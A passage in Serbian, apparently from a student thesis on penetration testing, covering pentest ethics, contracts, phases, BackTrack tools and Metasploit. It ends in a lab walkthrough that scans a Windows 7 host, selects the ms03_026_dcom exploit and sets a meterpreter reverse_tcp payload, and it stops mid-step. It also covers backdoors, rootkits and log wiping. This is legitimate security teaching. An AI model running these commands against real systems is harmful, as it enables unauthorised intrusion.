mu na smernice za povećanje sigurnosti, do klijenta je da ispoštuje pravila i preporuke da bi se
zaštitio od neželjenog dogaĎaja.
Edger Dijkstra je rekao : „Program testing can be a very effective way to show the
presence of bugs, but is hopelessly inadequate for showing their adsence.“ U prevodu
„Ispitivanje programa može da bude veoma efikasan način za dokazivanje postojanja grešaka, ali
je sasvim neodgovarajuće kada treba pokazati da ih nema.“ Isto važi i za ispitivanje sigurnosti.
Ako ispitivanjem niste pronašli probleme, to ne znači da ih nema. Ispitivanje samo povećava
uverenje da problema ima u prihvatljivoj meri ili da se teško pronalaze.
2. Ispitivanje mogućnosti proboja
U ovom poglavlju ću se za razliku od prethodnog, gde sam se uglavnom bavio etičkim i
pravnim aspektima, baviti uglavnom metodologijom i postupcima ispitivanja. Pre nego što
preĎem na razmatranje ispitivanja mogućnosti proboja, podsetio bih na faze od kojih je sačinjen
uobičajeni hakerski napad na računarsku mrežu :
1. IzviĎanje i popisivanje (eng. survey and assess)
2. Eksploatiši i prodri (eng. exploit and penetrate)
3. Povećaj privilegije (eng. escalate privileges)
4. Održi pristup (eng. maintain access)
5. Odbij uslugu (eng. deny service)
6. Sakrij tragove (eng. hide tracks)
Ispitivanje mogućnosti proboja (eng. penetration testing) je metoda ocenjivanja i provere
sigurnosti računarske mreže simulacijom napada koji bi inače obavio zlonamerni haker.
Ispitivanje mogućnosti proboja obuhvata aktivnu analizu sistema u pogledu slabosti, tehničkih
nedostataka i ranjivosti. Analiza se izvodi iz pozicije potencijalnog napadača, odnosno osoba
koja obavlja ispitivanje sebe smešta u poziciju napadača i pokušava da prodre u mrežu i na taj
način otkrije ranjivosti. Kao što je objašnjeno u prethodnom poglavlju, sve što se otkrije tokom
ove analize, izlaže se vlasnicima sistema zajedno sa procenom ranjivosti i predlozima tehničkih
rešenja kako da se te ranjivosti otklone.
Na osnovu količine znanja o ciljnom sistemu ili mreži koje je raspoloživo osobama koje
vrši testiranje, testovi se mogu podaliti na ispitivanje „bele kutije“ (eng. white box) i ispitivanje
„crne kutije“ (eng. black box). Pored ovih termina mogu se koristiti i termini testovi s potpunim
otkrivanjem (eng. full disclosure), delimičnim otkrivanjem (eng. partial disclosure) i takozvani
testovi na „slepo“ (eng. blind test), koji odgovaraju ispitivanju bele, sive i crne kutije. Ispitivanje
crne kutije podrazumeva da se ispitivačima obezbeĎuje kompletno znanje o infrastrukturi koja se
testira, što obuhvata i mrežne dijagrame, izvorni kod i informacije o IP adresiranju. Naravno,
uvek postoje i meĎuvarijacije koje se često zovu ispitivanja „sive kutije“ (eng. grey box). Neki
smatraju da je ispitivanje metodom „crne kutije“ najpribližnije stvarnoj situaciji u kojoj se
najrealnije simuliraju akcije hakera, drugi misle da se time zanemaruje česta situacija da
napadač, koji je odabrao ciljni sistem, najverovatnije zna nešto o sistemu koji namerava da
napadne i da se napadi često odvijaju iznutra ili u saradnji s nekim ko je unutar sistema
(zaposleni na primer). Najčešće je preporučljivo da se uradi scenario najgoreg slučaja i da se
ispitivačima da onoliko informacija koliko oni traže podrazumevajući da će pravi haker već imati
te informacije.
U praksi, usluge koje nude firme za ispitivanje proboja variraju od običnog skeniranja IP
adresnog područja neke firme i traženja otvorenih portova i identifikacije oznaka, do pune
provere i revizije izvornog koda aplikacije. Pre ispitivanja treba uzeti u obzir činjenicu da će
jednostavniji testovi verovatno sprečiti napadača da pomoću nekog jednostavnog skript napada
prodre u sistem i osvoji ga, a da će samo ozbiljniji i sveobuhvatni testovi stvarno povećati stepen
sigurnosti i smanjiti rizik od prodora u sistem.
Najčešći osnovni koraci ispitivanja mogućnosti proboja (slika 2) su sledeći : potpisivanje
ugovora, postavljanje (definisanje) pravila angažovanja, planiranje napada, izvoĎenje napada
(izviĎanje i popisivanje, ostvarivanje pristupa, održavanje pristupa i sakrivanje tragova), pisanje
izveštaja, izlaganje rezultata klijentu (ukazivanje na propuste, planovi za njihovo otklanjanje) i
planovi za nastavak.
Svaki od pomenutih koraka može biti proširen ili detaljnije razraĎen na više drugih
koraka. Navedeni koraci predstavljaju osnovni okvir u kome se napad odvija. Koliko će se
ispitivač zadržati na odreĎenoj fazi zavisi i od načina ispitivanja – ispitivanje crne kutije zahteva
od ispitivača da posveti više vremena prikupljanju informacija, tj. izviĎanju i potpisivanju, nego
u slučaju ispitivanja bele kutije.
potpisivanje ugovora
definisanje pravila angažovanja
planiranje napada
izviĎanje i popisivanje
ostvarivanje pristupa
zadržavanje pristupa
prikrivanje tragova
pisanje izveštaja
izlaganje rezultata klijentu
planovi za nastavak
Slika 2 Osnovni koraci ispitivanja mogućnosti proboja
Priprema za ispitivanje
Da biste ispitali mogućnost proboja u računarske sisteme i mreže neophodno je da imate :
Tim. Članovi tima treba da vladaju potrebnim znanjima i veštinama. TakoĎe je
neophodno da članovi tima budu iskusni u ovim poslovima, a poželjno je i da budu
uigrani kao tim. Mnogi klijenti će zahtevati da članovi tima koji vrše testiranje imaju
odreĎene sertifikate i preporuke. TakoĎe, jedan od zahteva koji se često postavlja je da
članovi tima nisu kažnjavani.
Potrebnu opremu i druge resurse. Ovo podrazumeva da oni koji obavljaju ispitivanje raspolažu odreĎenim hardverom, softverom i dodatnom opremom neophodnom za
sprovoĎenje testova. TakoĎe su neophodni i odgovarajući komunikacioni i mrežni putevi.
Vreme. Veoma je bitno odvojiti vreme koje je potrebno za kvalitetno i uspešno ispitivanje. Zlonamernim hakerima je obično na raspolaganju „sve vreme ovog sveta“ i
oni mogu birati trenutak, mesto i način napada. To je bitna prednost hakera, pa je treba
obezbeditit i ispitivačima, ako se želi da imaju približno slične uslove kao zlonamerni
hakeri.
Za bavljenje ovim poslom potrebno je mnogo volje i strpljenja. Mnogi su u početku
veoma zainteresovani jer smatraju ovaj posao zanimljivim i zabavnim (kao što se u holivudskim
filmovima prezentuje), a onda shvate da je za uspešno obavljanje ovog posla potrebno mnogo
znanja, veštine, upornosti i ozbiljnosti, pa većina odustane od bavljenja ovim poslom.
Napomena : U jednoj od knjiga iz ove oblasti se naglašava da u ekipi treba imati i člana
koji kuva dobru kafu (eng. coffee expert). Iako zvuči šaljivo, u ovoj preporuci ima istine : naime,
poznato je da ovaj posao zahteva dugotrajne sate rada danju i noću u punoj koncentraciji, a tome
kafa obično pomaže.
Potpisivanje ugovora
Potpisan ugovor o ispitivanju jedan je od najvažnijih preduslova za započinjanje
ispitivanja. Iako često postoji tendencija da se ovaj korak preskoči to nikako nije preporučljivo.
Bez uvogora sve akcije koje se sprovode protiv kompanije klijenta, mogu biti smatrane
zlonamernim, a možda i nelegalnim. Oni koji se bave testiranjem ne bi smeli da dozvole takvu
situaciju jer to značajno može da naruši njihov kredibilitet i ugled. Sve ugovore moraju da
potpišu ovlašćena lica obe firme.
Postavljanje (definisanje) pravila angažovanja
Postavljanje pravila angažovanja pomaže da se definišu detalji kao što su : koliko
informacija će biti na raspolaganju ispitivačima i koji su pristupi i postupci dozvoljeni tokom
testa. TakoĎe, u interesu ispitivača je da ova pravila budu definisana, kako se tokom ispitivanja
ne bi javili problemi i nesporazumi i da se na kraju testiranja ne bi postavilo pitanje što neki
testovi jesu ili nisu uraĎeni, kao i u kojim okolnostima se ispitivanje odvijalo.
Planiranje napada
Tim koji ispituje mogućnosti proboja sprovodi planiranje napada nakon što je definisan
plan angažovanja i u tu svrhu može se obaviti sledeće :
Okupljanje tima za ovu namenu. Na primer, zašto bi angažovali stručnjaka za bežične mreže ako se ispituje ranjivost pristupa kompaniji preko Web servera. Dakle, biraju se
ljudi shodno vrsti mreže koja se ispituje.
Izbor alata za ispitivanje. Ovaj izbor se vrši na isti način kao i izbor tima. Različiti alati se koriste ako želimo da proverimo sigurnost bežične mreže i mreže kojoj se može pristupiti
jedino preko Web lokacije.
Planiranje strategije napada. Pre nego što se otpočne sa napadom, mora se osmisliti
metodičan plan kako će se izvršiti test. Kao početni vodič preporučljivo je koristiti Open-
Source Security Testing Methodology Manuali (OSSTMM).
IzvoĎenje ispitivanja
Obzirom da je ispitivanje mogućnosti proboja veoma slično napadu koji bi obavio haker
sa crnim šeširom, može se zaključiti da potpun test mora da sadrži najmanje sledeće korake :
izviĎanje i popisivanje (prikupljanje osnovnih informacija o ciljnoj mreži, deljenim mrežnim
resursima, korisnicima, grupama, pravima pristupa i specifičnim aplikacijama), ostvarivanje
pristupa (prodiranje u sistem ili mrežu), održavanje pristupa (postavljanje zadnjih vrata (eng.
back door) kako bi osoba koja vrši testiranje mogla dalje da eksploatiše sistem) i prikrivanje
tragova (na primer, brisanje dnevničkih datoteka ili pojedinih redova u njima).
IzviĎanje i popisivanje
IzviĎanje je jedna od najznačajnijih faza napada. Stari kineski mudrac i stručnjak za
strategiju ratovanja, Sun Tzu koji je živeo pre oko 2500 godina, zapisao je : „Iskoristite
nespremnost neprijatelja, koristite neočekivane puteve i načine napada i napadnite neobezbeĎene
tačke.“ Ova mudrost i dan danas važi, a može se iskoristiti i pri napadu na ruĎi računarski sistem
ili mrežu.
IzviĎanje se sastoji od postupaka traženja i isprobavanja kojima se dolazi do podataka o
sistemima, otvorenim portovima i aplikacijama koje rade na tim sistemima. Iako ispitivači
proveravaju sigurnost mreže, oni obično nemaju taj luksuz u pogledu vremena koje je na
raspolaganju zlonamernim hakerima, oni su veoma svesni značaja izviĎanja i snimanja situacije.
IzviĎanje se može smatrati uspešnim ako ispitivač uspe da prikupi najmanje sledeće informacije :
IP adrese servera i ciljne mreže
Pristupne UDP i TCP portove na ciljnom sistemu
Operativni sistemi na ciljnim mašinama
Zlonamerni hakeri obraćaju posebnu pažnju na izviĎanje i prikupljanje podataka o cilju,
što je prvi korak efikasnog napada. Njima je veoma značajno da vide „šta je s one strane brda“,
što je ključno za odlučivanje koji tip napada da lansiraju. Na primer, napadi koji eksploatišu
UNIX-ove slabosti nemaju smisla ako je ciljna mreža zasnovana na Microsoft serverima. Malo
vremena utrošenog na istraživanje i skeniranje ciljne mreže i servera, kojim će se utvrditi koji
operativni sistem je na drugoj strani, uštedeće puno vremena za dalji napad kojim se pokušava
provaljivanje u sistem. Zlonamerni haker će verovatno istražiti ove brojne i druge detalje, možda
i nedeljama ili čak mesecima pre nego što pokuša da provali u tuĎu mrežu.
Postoje dve različite metode otkrivanja računara i sistema na ciljnoj mreži :
1. Pasivno izviĎanje. Pasivno izviĎanje služi za prikupljanje podataka iz otvorenih izvora.
Otvoren izvor znači da su informacije slobodno raspoložive javnosti. Da napomenem,
traženje otvorenih informacija je potpuno legalno. Preduzeće može učiniti vrlo malo ili
ništa da spreči otvaranje i objavljivanje ovih informacija. Primeri otvorenih izvora
informacija su kompanijska Web lokacija, EDGAR baza (Electronic Data Gathering,
Analysis and Retrieval), grupe za distribuciju vesti i diskusione grupe, poslovni partneri,
kopana po smeću (eng. dumpster diving) i poslednje, ali ne i najmanje značajan društveni
inženjering.
2. Aktivno izviĎanje. U ovu metodu, nasuprot pasivnom, uključeno je korišćenje
tehnologije na način na koji ciljna kompanija možda može otkriti. Aktivno izviĎanje se
može obaviti DNS upitima, posebnim ping alatima, praćenjem rute paketa, skeniranjem
portova i odreĎivanjem operativnog sistema (eng. fingerprinting). Nakon prikupljanja
informacija crta se mrežni dijagram na kome se naznačuju računari, otvoreni UDP i TCP
portovi (koji uslovno ukazuju na mrežne servise i aplikacije koje se izvršavaju na
računarima) i odgovarajući operativni sistemi. Na osnovu rezultata izviĎanja napadač
polako formira ideju o napadu koji će izvesti. Za ovu metodu popisivanja koriste se razni
softverski alati poput : Nmap, Nessus, Ethereal, SAINT, Tcpdump, Superscan i njima
slični.
IzviĎanje takoĎe može dovesti do otkrivanja korisničkih naloga i deljenih resursa na
računarskim sistemima. Neki ispitivači posebno skeniraju računare i portove, a onda u posebnom
delu istraživanja popisuju ostale podatke o sistemu ili mreži.
Ostvarivanje pristupa
Ovo je najuzbudljiviji zadatak i obično se na njega troši najviše vremena. Ispitivaču se
ponekad može posrećiti da jednostavno upadne u ispitivani sistem ili mrežu, ali je to mnogo
češće dugotrajan proces. Ponekad se ovaj pokušaj može završiti neuspešno, što je dobra vest za
klijenta. Pristup mreži se može ostvariti na nekoliko načina, a neki od najčešće korišćenih su :
preko Interneta, modemski pristup (preko telefonskih linija), društveni inženjering, napad na
bežičnu mrežu koja je deo kompanijske mreže, napadi neželjenom poštom (SPAM), korišćenje
trojanaca i kopanje po smeću. Jedan tip napada za ostvarivanje pristupa koji se obavlja preko
Interneta jeste ostvarivanje pristupa i povećanje prava na računaru na kome je Web lokacija
(kojise najčešće nalazi u DMZ mreže). Preko ovog računara se dalje pristupa serverima baza
podataka ili drugim serverima koji se nalaze u privatnoj mreži. Još jedan od mogućih napada koji
služe za ostvarivanje pristupa, a izvršavaju se preko Interneta jeste kraĎa sesije (slika 3).
Slika 3 KraĎa sesije
Održavanje pristupa
Nakon što tim za testiranje uspe da pristupi ciljnom sistemu, može se ukazati potreba da
se mogućnosti pristupa održava neko vreme, kako bi se izvršilo još dodatnih ispitivanja. Zato je
potrebno postaviti program koji otvara „zadnja vrata“ koja će omogućiti kasnije akcije i
ispitivanja. Time se takoĎe simulira situacija u kojoj su „zadnja vrata“ otvorili zlonamerni hakeri
kako bi mogli da izvedu više napada u odreĎenom vremenskom periodu. Uzgredna korist je i to
što će pokušaj instaliranja zlonamernog softvera pokazati sposobnost ciljne mreže i njenog
sistema odbrane da otkriju postojanje zlonamernog softvera ovog tipa.
Pre nego što se počne sa postavljanjem trojanaca ili zadnjih vrata, potrebno je da se o
tome dogovori sa klijentom i da to bude deo ugovora. Savet je da se klijent ohrabri da prihvati
ovu opciju testiranja zato što je ona sastavni deo mnogih napada. Ako se postigne dogovor za
korišćenje trojanaca ili zadnjih vrata, potrebno je biti pažljiv u izboru alata koji se koriste. Glavni
problem kod ovakvih programa je što se većina širi po mreži i ukoliko se postavi takav program
na ciljni računar prouzrokovaće se haos na serverima i korisničkim računarima. Što se ispitivanja
tiče ovo je ok, ukoliko se ne ispituje proboj na sistemu koji se koristi u regularnom poslovanju, u
suprotnom ova opcija ne dolazi u obzir.
Prikrivanje tragova
U ovom koraku ispitivači mogućnosti proboja pokušavaju da očiste sve tragove napada,
upravo na onaj način kako bi to iskusni haker uradio. Najjednostavniji oblik skrivanja tragova
jeste brisanje odgovarajućih zapisa iz dnevničkih datoteka. MeĎutim, niko ne može garantovati
da će administrator sistema pregledati te datoteke tek kada se završi sa napadom i kada se
prikriju tragovi. Ukoliko administrator primeti uljeza u toku napada, postoji mogućnost da
postavi restriktivnija pravila mrežne barijere i sistema za detekciju upada ili jednostavno odseče
mrežu sa Interneta i tako spreči dalji napad. To znači da tragove treba čistiti u toku ispitivanja.
Značajnu pomoć u ovom delu testa pružaju rootkit alati. Oni ispitivaču mogu pomoći da pristupi
ciljnoj računarskoj mreži, da ostane neprimećen odreĎeno vreme i da na kraju ostavi sve za
sobom onako kkao je i bilo.
Pisanje izveštaja i ukazivanje na propuste
Nakon ispitivanja, tim će sakupiti sva otkrića u jedan dokument koji se predaje klijentu.
Iako ovo može zvučati kao jednostavan zadatak, za očekivati je da će on oduzeti dosta vremena
(možda čak i onoliko koliko je utrošeno na samo ispitivanje). Klijent će obično zadržati kopiju
ovog izveštaja i prezentacije rezultata ispitivanja, s mogućnošću da kasnije postavi i dodatna
pitanja ili zatraži dodatne testove u pojedinim područjima.
Izveštaj u najmanju ruku mora da sadrži sledeće stavke :
Izvršni rezime (eng. executive summary) treba da sadrži ciljeve, metodologiju, ono što je pronaĎeno, a zatim sažetak izveštaja u pisanoj i grafičkoj formi.
Opseg projekta. Ovde se opisuje sve što je trebalo uraditi pri ispitivanju klijentovog računarskog sistema, mreže i informacionog sistema. Popisani su svi delovi sistema koje
treba ispitati, koje provere treba obaviti, na koji način će testovi biti izvršeni i ograničenja
kojih se treba pridržavati prilikom ispitivanja da se ne bi narušile osnovne funkcije
kompanije ili organizacije.
Analizu rezultata. Sva izvršena ispitivanja rezultati analiziraju se kako bi se protumačili
predstavljeni rezultati i predočili uočeni problemi ili moguće posledice. Ponekad sami
rezultati ne ukazuju direktno na slabosti i moguće ranjivosti sistema, pa je nužno da se u
ovom delu analiziraju i predoče mogući problemi i da se klijent uputi na mere koje treba
da preduzme.
Sažetak treba da sadrži ukratko pregled otkrića, tj. šta je tokom ispitivanja pronaĎeno i zaključeno u pogledu sigurnosti na osnovu najvažnijih testova i njihovih rezultata.
Obično se ta otkrića izražavaju u vidu klasifikacije po nivou sigurnosnog rizika na :
nizak, srednji, visok i kritičan nivo rizika.
Priloge. Oni sadrže detaljne opise rezultata, a ponekad se navode i korišćeni alati,
listinzi, snimci ekrana, fotografije, dnevničke zabeleške, objašnjenja procedura rada i
slični elementi koji dokumentuju i dokazuju izvršene testove i njihove rezultate. Sami
detalji tehnike ispitivanja (po mnogim autorima i istaknutim stručnjacima za ovu oblast)
ne bi trebalo nikada da se otkrivaju, zato što osoba koja predaje izveštaj ne može da bude
sigurna ko će sve da doĎe u posed tog dokumenta kada on izaĎe iz ruku klijenta.
Savet je da se izveštaj obavezno preda isključivo ovlašćenim licima klijenta i to u
štampanoj formi. Nije preporučljivo da se izveštaj predaje ili šalje u elektronskoj formi ili
elektronskom poštom, jer se time rizikuje da će on iscureti u javnost, što nikako nije dobro ni za
kompaniju koja ispituje sistem, a još manje za klijenta. Kompanija koja obavlja ispitivanje treba
da posle završenog posla uništi svu dokumentaciju i podatke vezane za to ispitivanje, uključujući
sve faze i krajnje izveštaje. Ovo je mera predostrožnosti od mogućeg curenja podataka i
odgovornosti koja povodom toga može da nastupi.
Ukazivanje na propuste i dalji koraci
Nakon prezentovanja izveštaja, sledeći korak je razmatranje sigurnosne politike. Svaka
ranjivost koja je pronaĎena na mreži ispitivane organizacije postoji zato što ili organizacija ne
sledi sigurnosnu politiku ili zato što neka važna komponenta nedostaje u sigurnosnim pravilima.
Nakon što tim završi sa ispitivanjem i prezentovanjem rezultata klijentu, treba planirati
nastavak, tj. redovno ispitivanje u budućnosti, kako bi se osiguralo da klijent ne postane ranjiv
usled problema vezanih za sigurnost koji se mogu naknadno pojaviti. Dakle, mora se imati u
vidu da sigurnost nije završno stanje već da su računarski sistemi i mreže predmet konstantnog
interesa zlonamernih hakera, konkurencije, špijunaže i drugih zlonamernih koji će neprekidno
pokušavati da otkriju slabosti i zloupotrebe ih.
U tom smislu je potrebno konstantno unapreĎivati metode, tehnike i tehnologiju, a takoĎe
i politike i procedure zaštite. Ispitivanje mogućnosti proboja jedan je od značajnih elemenata
sigurnosti, tj. provere efikasnosti celog sistema sigurnosti računarskih sistema i mreža.
3. BackTrack Linux
BackTrack je Live DVD Linux distribucija koja je stvorena konkretno za ispitivanje
mogućnosti proboja. Obzirom da je Live distribucija, BackTrack se može koristiti direktno sa
DVD-a, USB-a, mreže ili RAM-a bez ikakvih instalacija i nezavisna je od hardvera koji je u
upotrebi. BackTrack je nastao spajanjem tri dobro poznate sigurnosne distribucije – IWHAX,
WHOPPIX i Auditor.
Svrha BackTrack-a
Ova distribucija sadrži preko 300 različitih
alata koji se mogu koristiti za testiranje mogućnosti
proboja. Ti alati su kategorisani na sledeći način :
Prikupljanje informacija (eng. Information
gathering) : Ova kategorija sadrži nekoliko
alata koji se mogu koristiti za prikupljanje
informacija o DNS-u, načinima rutiranja,
e-mail adresama, Web stranicama, mail
serverima itd. Ove informacije se sakupljaju
putem dostupnih informacija sa Interneta bez
diranja ciljnog računara.
Mapiranje mreže (eng. Network mapping) : Ova kategorija sadrži alate koji se koriste kako
bi se proverio „živi“ računar, saznao koji
operativni sistem se nalazi na ciljnom
računaru, koje aplikacije se koriste na tom
računaru kao i da se skeniraju portovi.
Identifikacija slabosti (eng. Vulnerability identification) : U ovoj kategoriji se mogu naći
alati za skeniranje slabosti generalno kao i za
Cisco ureĎaje. Tu se takoĎe nalaze alati koji mogu da izvrše analizu protokola Server
Message Block (SMB) i Simple Network Management Protocol (SNMP).
Analiza Web aplikacija (eng. Web application analysis) : Ovde se nalaze alati za
reviziju i nadgledanje Web aplikacija.
Analiza radio mreža (eng. Radio network analysis) : Ova kategorija služi za nadgledanje bežičnih mreža, bluetooth-a i RFID-a (Radio Frequency Identifier).
Proboj (eng. Penetration) : Ovde se nalaze alati koji se mogu koristiti za iskorišćavanje slabosti koje su prethodno pronaĎene na ciljnom računaru.
Povećanje privilegija (eng. Privilege escalation) : Nakon iskorišćavanja slabosti i ostvarivanja pristupa na ciljnoj mašini, mogu se koristiti alati iz ove kategorije kako bi se
povećale privilegije na tom računaru na maksimalan nivo.
Održavanje pristupa (eng. Maintaining access) : Alati iz ove kategorije nude pomoć pri
održavanju pristupa na računaru nad kojim je prethodno dobijena kontrola. Pre instalacije
ovih alata bi trebalo imati najveće privilegije na ciljnoj mašini.
VOIP (eng. Voice Over IP) : Za analizu VOIP-a mogu se koristiti alati iz ove kategorije.
Digitalna forenzika (eng. Digital forensics) : U ovoj kategoriji se mogu naći alati koji se
mogu koristiti prilikom izvršavanja digitalne forenzike nad oštećenim hard diskovima i
datotekama. Za korišćenje alata iz ove kategorije neophodno je prethodno u boot meniju
izabrati Start BackTrack Forensics. Neke praktične forenzičke procedure zahtevaju da se
datoteke na hard disku prebace u read-only mod kako bi se sačuvao integritet podataka
koji mogu predstavljati dokaze.
Obrnuti inženjering (eng. Reverse engineering) : Ova kategorija sadrži alate koji služe za otklanjanje grešaka (eng. debug) u programima ili za rastavljanje izvršne datoteke.
Metasploit Framework
Kada se pomene izraz „alat za probojno testiranje“ prvo na šta mnogi ljudi pomisle je
najveći svetski Ruby projekat sa preko 700 000 linija koda – Metasploit. Ovaj okvir za probojno
testiranje je stekao status de-facto standarda činjenicom da ima preko milion jedinstvenih
preuzimanja godišnje. Kreiran 2003. od strane Metasploit LLC-a inicijalno je bio napisan u
programskom jeziku Perl, a kasnije je „prepisan“ u programski jezik Ruby. Najsvežije izdanje
Metasploita podiže testiranje preuzimanja kontrole i iskorišćavanja na sasvim nov nivo, što je sa
tržišta izguralo njihove komercijalne konkurente povećanjem brzine izvršenja i „smrtonosnosti“
koda.
Metasploit okvir prati par osnovnih koraka za eksploatisanje sistema, a neki od njih su :
1. Odabiranje i konfigurisanje exploita koji će se koristiti. Ovo je u stvari kod koji će se
koristiti na ciljnom sistemu sa namerom da se iskoriste defekti u softveru.
2. Provera da li je ciljani sistem podložan izabranom exploitu.
3. Odabiranje i konfigurisanje paketa (eng. payload) koji će biti korišćen. Ovaj paket
predstavlja kod koji će se upotrebiti nad sistemom nakon što se u sistemu naĎe slaba
tačka i postavi ulazna tačka.
4. Odabiranje i konfigurisanje šeme kodiranja koja će se koristiti kako bi se obezbedilo da
paket s lakoćom izbegne IDS (Intrusion Detection System).
5. Izvršenje exploita.
Metasploit je besplatan alat koji se lako može preuzeti sa Interneta, razvijati i uz pomoć
njega se mogu vršiti napadi koji eksploatišu softverske propuste. U paketu stiže sa
profesionalnim exploit napadima za hiljade poznatih softverskih propusta. Objavljivanje
Metasploita 2003. je zauvek promenilo scenu računarske sigurnosti. Odjednom, svako je mogao
da postane haker i svako je imao pristup exploitima za nezakrpljene i skoro zakrpljene slabosti.
Izdavači softvera više nisu mogli da odugovlače pri krpljenju javno objavljenih slabosti jer je
Metasploit ekipa naporno radila u razvijanju exploita koji su bili dostupni svim Metasploit
korisnicima.
Rad sa Metasploitom
Metasploit je jednostavan za korišćenje, dizajniran sa željom da se olakša rad
ispitivačima probojnosti. Ovde ću ga koristiti iz BackTrack 5 obzirom da ova distribucija ima
sve potrebne biblioteke za korišćenje ovog alata. Metasploit okvir ima tri radna okruženja –
msfconsole, msfcli i msfweb. Najčešće se, ipak, koristi msfconsole. To je efikasan
interfejs koji se koristi preko komandne linije i ima sopstveni set komanti i sistem okruženja.
Pre nego što izvršimo neki exploit korisno je napomenuti šta neke komande rade. Ovde
sam naveo nekoliko komandi koje se najčešće koriste :
1. search <keyword> : Kucanjem komande „search“ zajedno sa ključnom reči koju
želimo da pronaĎemo izlistavaju se razni mogući exploit-i koji sadrže tu ključnu reč.
2. show exploits : Unosom ove komande se prikazuju trenutno dostupni exploit-i.
Postoje razni exploit-i za različite platforme i aplikacije u koje spadaju i Windows,
Linux, IIS, Apache itd. koji pomažu pri testiranju fleksibilnosti kao i u razumevanju kako
Metasploit radi.
3. show payloads : Uz pomoć iste „show“ komande možemo videti koji su nam paketi
raspoloživi.
4. show options : Unosom ove komande se prikazuju opcije koje smo podesili i one
koje smo možda zaboravili da podesimo. Svaki exploit i paket imaju svoj sopstveni set
opcija.
5. info <type> <name> : Ako želimo informacije za specifičan exploit ili paket to
možemo dobiti unosom „info“ komande. Na primer, ako želimo sve informacije o
paketu „winbind“ možemo koristiti komandu „info payload winbind“.
6. use <exploit_name> : Ova komanda govori Metasploitu da upotrebi exploit sa
naznačenim imenom.
7. set RHOST <hostname_or_ip> : Ova komanda govori Metasploitu da “gaĎa”
navedeni udaljeni računar.
8. set RPORT <host_port> : Ovom komandom se postavlja port preko kojeg će se
Metasploit povezati na udaljeni računar.
9. set PAYLOAD <generic/shell_bind_tcp> : Ova komanda postavlja paket
koji je u upotrebi na generički paket koji će nam dati shell konzolu kada je sistem
uspešno eksploatisan.
10. set LPORT <local_port> : Ovom komandom se postavlja broj porta koji će biti
otvoren na serveru kada se uspešno ostvari pristup serveru. Jako je bitno da ovaj broj
porta bude port koji se može otvoriti na serveru, odnosno da nije u upotrebi od strane
nekog servisa i da nije rezervisan za administrativnu upotrebu. Zbog toga, taj broj bi
trebao da bude slučajan četvorocifreni broj veći od 1024. Ovaj broj bi trebalo promeniti
svaki put kada se uspešno eksploatiše neki servis.
11. exploit : Ova komada izvršava eksploatisanje servisa. Druga verzija exploit-a je
rexploit koja ponovo učitava kod vašeg exploit-a, a zatim ga i izvršava. Ova komanda
omogućava da se isprobaju male prepravke u kodu exploit-a bez resetovanja konzole.
12. help : Ova komanda daje osnovne informacije o svim komandama koje nisu izlistane.
Sada smo spremni da da iskoristimo sve osnovne komande kako bismo pokrenuli neki
exploit, tako da ću sad prikazati kako da se preuzme kontrola nad udaljenim računarom koristeći
gore navedene komande.
Scenario je sledeći :
Ciljana mašina
OS : Microsoft Windows 7 Professional
IP : 192.168.1.100
Mašina sa koje se vrši napad
OS : BackTrack 5
Verzija Metasploita : metasploit v3.7.0-release [core:3.7 api:1.0]
IP : 192.168.48.188
Cilj
Jedina dostupna informacija o udaljenom računaru je da je na njemu instaliran operativni sistem
Windows 7 i cilj nam je da dobijemo pristup shell konzoli ovog udaljenog računara.
Koraci koje treba preduzeti kako bi se ostvario ovaj cilj su sledeći :
Prvi korak Izvodimo skeniranje udaljenog računara 192.168.1.100 korišćenjem alata Nmap. Ovako
saznajemo koji su portovi otvoreni na udaljenom računaru (slika 1).
Slika 1. Skeniranje otvorenih portova putem Nmap-a
IzmeĎuostalih primećujemo da je port 135 otvoren. Sada možemo potražiti skripte u
Metasploitu uz pomoć kojih ćemo ostvariti pristup shell konzoli ako je udaljeni računar ranjiv.
Drugi korak
Sada pokrećemo Metasploit interfejs :
Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit
Framework > msfconsole
Slika 2. Pokretanje msfconsole
Prilikom inicijalizacije konzole odvijaju se standardne provere. Ako sve radi kako treba
trebalo bi da se prikaže ekran kao na slici 3.
Slika 3. Metasploit konzola
Treći korak Pošto znamo da je port 135 otvoren, sada tražimo odgovarajući RPC exploit u
Metasploitu. Kako bismo izlistali sve podržane exploit-e u Metasploitu koristimo „show
exploits“ komandu. Deo te liste se nalazi na slici 4.
Slika 4. Deo liste dostupnih exploit-a
Metasploit okvir dolazi sa preko 650 exploit-a i preko 200 paketa, što je veoma
impresivno, ali zato traženje specifičnog exploit-a sa ove liste može da se ispostavi kao veoma
težak zadatak. Zato ćemo koristiti bolju opciju. Možemo posetiti Web stranicu
http://metasploit.com/modules/ ili možemo koristiti komandu „search <keyword>” unutar
Metasploita kako bismo našli odgovarajuće RPC exploit-e. S toga, u „msfconsole” kucamo
search dcerpc kako bismo pretražili sve exploit-e koji sadrže dcerpc ključnu reč, pošto se
taj exploit može koristiti za dobijanje pristupa putem porta 135 na udaljenom računaru.
Pretražena lista je prikazana na slici 5.
Slika 5. Rezultat pretraživanja ključne reči dcerpc
Četvrti korak
Pošto sada imamo listu rpc exploit-a ispred sebe, potrebne su nam dodatne informacije o
exploit-u pre nego što ga zapravo iskoristimo. Te informacije možemo dobiti unosom komande
„info exploit/windows/dcerpc/ms03_026_dcom“, a one se odnose na moguće
mete, zahteve exploit-a, detalje o samoj ranjivosti, pa čak i na to gde se mogu naći dodatne
informacije.
Slika 6. Informacije o exploit-u
Peti korak
Komanda „use <exploit_name>“ aktivira okruženje exploit-a za navedeni exploit.
U našem slučaju koristimo komandu na sledeći način „use
exploit/windows/dcerpc/ms03_026_dcom“.
Slika 7. Promena u okruženje exploit-a
Na slici 7 se vidi da se prompt promenio iz „msf>“ u „msf
exploit(ms03_026_dcom)“ što simbolizuje da se nalazimo u privremenom okruženju tog
exploit-a.
Šesti korak
Sada je potrebno konfigurisati exploit prema potrebama ovog scenarija. Komanda „show
options“ prikazuje razne parametre koji su potrebni kako bi se exploit uspešno pokrenuo. U
ovom slučaju, RPORT je već postavljen na 135 i jedina opcija koja se treba postaviti je RHOST
koja se postavlja korišćenjem komande „set RHOST“. Unosimo „set RHOST
192.168.1.100“.
Slika 8. Opcije exploit-a
Sedmi korak
Jedini preostali korak pre nego što pokrenemo exploit je postavljanje paketa koje će taj
exploit da šalje. Dostupne pakete možemo pregledati pomoću komande „show payloads“.
Za naš scenario koristiću reverse tcp meterpreter, a postavlja se komandom „set PAYLOAD
windows/meterpreter/reverse_tcp“ koji bi trebao da pokrene shell konzolu na
